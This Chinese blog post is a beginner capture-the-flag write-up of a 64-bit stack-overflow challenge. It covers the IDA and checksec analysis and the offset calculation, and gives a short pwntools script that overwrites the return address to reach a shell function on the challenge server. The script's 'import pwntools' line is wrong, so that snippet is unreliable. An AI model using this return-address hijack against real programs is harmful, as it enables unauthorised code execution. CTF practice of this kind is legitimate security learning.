学pwn/二进制逆向

bugku_ctf,pwn第二题pwn2(最基础的入门级别)

2020-05-31  本文已影响0人  飞速遗忘

写在前面: 这题可以说是非常典型的栈溢出, 非常的基础, 学会这篇文章至少对栈溢出到底在干嘛有了最基本的了解. 写了这么多总算知道为什么教栈溢出的喜欢录视频不喜欢打字了, 面对一点都不懂的小白 (比如我), 打字实在太多了

题目

给了一个pwn2文件, 和一个nc连接地址, 把pwn2文件下载下来.

分析过程

第一步: 确定这是个什么文件

直接用记事本或者notepad++把这个pwn2文件打开, 发现在开头有ELF这三个字母, 这代表一个Linux的可执行文件.
或者在Linux系统下使用file pwn2来获取文件的相关信息, 这里我们可以知道这是一个64位的程序.
64位程序的内存地址是8个字节的, 这点很重要

第二步 : 用IDA打开这个文件(暂时)

这步其实应该是查看文件的保护机制, 但是需要打开Linux虚拟机, 所以我就先用Windows的IDA看看

IDA.PNG
发现了两个关键函数get_shell_read. 再按Shift+F12看看有什么字符串
iad2.PNG
发现了关键字符cat flag, 这就是我们要的.

接下来的步骤进入Linux系统进行操作, 我这里用的是kali

第三步: 查看程序运行栈, 寻找溢出地址

先把之前没做的保护机制检查做了, 这步很重要. 如果不先解除保护机制, 什么也做不了, 包括之前用ida查看也可能什么都看不出来
checksec pwn2查看文件:

checksec.PNG
可以看到这些保护机制都没有开启, 接下来调试程序看看.

gdb调试

第四步:构造payload

根据上一步已经可以得出s的长度是0x30 , get_shell_函数的入口地址是0x400751, 那么按照s rbp ret的顺序, ret的偏移量应该是从s的位置加上s+rbp, 也就是0x30bytes+8bytes = 56字节,函数的入口地址也应该是8个字节0x00000000 00400751
构造payload:'a'*56 + \x51\x07\x40\x00\x00\x00\x00\x00

构造Python脚本

import pwntools
con = remote('114.116.54.89', 10003)
addr = 0x400751
payload = 'a'*56 + p64(addr)
con.recvline()
con.sendline(payload)
con.interactive()

直接运行就能得到flag了, 别忘记给虚拟机联网

基本原理

更详细的栈帧内容参考https://www.52pojie.cn/thread-974510-1-1.html

练习

xctf的pwn新手区的level0这个题没记错的和这个题基本上是一样的, 除了最后是自己手动输入cat flag以外, 自己练练就知道到底学会了没.

基础需要

上一篇 下一篇

猜你喜欢

热点阅读